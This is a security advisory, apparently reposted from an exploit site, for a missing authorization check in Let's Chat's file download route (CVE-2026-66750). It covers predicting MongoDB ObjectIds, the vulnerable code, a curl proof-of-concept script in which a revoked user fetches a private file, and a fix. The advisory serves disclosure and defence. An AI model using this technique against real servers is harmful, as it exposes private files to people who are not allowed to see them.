## https://sploitus.com/exploit?id=PACKETSTORM:227210
# Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
**Assigned CVE ID:** CVE-2026-66750
## Summary
`GET /files/:id/:name` checks that the caller is logged in and then serves the file. It never
checks whether the caller is allowed to see the room the file belongs to.
Any account can therefore read attachments from private and password protected rooms it is
not a member of, and users whose access to a room has been revoked keep working download
links for every file that was uploaded while they had access.
The file listing endpoint in the same controller does check membership, which is what the
download endpoint is missing.
## Affected versions
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.3.0 (commit `55e8833`, 24 Jan 2015, "Files backend") through 0.4.8, the
final release. No fixed version exists.
Private and password protected rooms arrived in 0.4.0, so the confidentiality boundary this
crosses exists from 0.4.0 onward.
Requires `files.enable: true`, which is off in `defaults.yml` but on in many deployments,
since file sharing is a documented feature.
Confirmed on 0.4.8 at commit `617207f`, and on `docker.io/sdelements/lets-chat:latest`
(0.4.7).
## Classification
CWE-639: Authorization Bypass Through User-Controlled Key. Also CWE-862, Missing
Authorization.
CVSS 4.0 base score 5.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
## Threat model
The attacker needs one ordinary user account, network access to the HTTP port, and the
ObjectId of a file. Self registration is enabled by default.
The id is not a secret in practice. Anyone who was ever a member of the room already has it,
because `files:list` and the `upload://files/<id>/<name>` message posted on upload both hand
it out. Access removal does not invalidate it, and there is no expiry or signature on the
URL.
For an attacker with no history in the target room, the id has to be guessed. It is a
MongoDB ObjectId, not a UUID, and very little of it is unpredictable:
```
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
```
Everything except the counter is constant for the lifetime of a server process, and the
counter is a single sequence shared by every collection. An attacker who uploads one file of
their own therefore learns the machine id, the process id and the current counter position,
and every file uploaded by anyone else sits a short distance away in that sequence. Eight
consecutive uploads on `sdelements/lets-chat:latest`:
```
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
```
## Technical detail
The download route applies `requireLogin` and nothing else.
`app/controllers/files.js:59-92`:
```js
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
```
`file.room` is loaded and then never consulted.
The listing path in the same feature does gate on membership.
`app/core/files.js:156-175`:
```js
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
```
So the application already has the check it needs (`Room.canJoin`, defined at
`app/models/room.js:130`); the download route just does not call it.
## Reproduction
Requires `files.enable: true` and `rooms.private: true`
(`LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true`).
```bash
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"$U@example.com\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "file=@roadmap.png;type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
```
The same result holds for an account that was never a member of the room, given the file id.
## Impact
Attachments in private and password protected rooms are readable by any account on the
server that holds or can derive the file id. Removing someone from a private room, or
changing a room password, does not cut off their access to files already uploaded, and
archiving the room does not either.
## Suggested fix
Load the room and reuse the check that `files:list` already performs. In
`app/controllers/files.js:62`, after the `if (!file)` guard:
```js
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
```
Returning 404 rather than 403 for an unauthorized id avoids confirming that the file exists.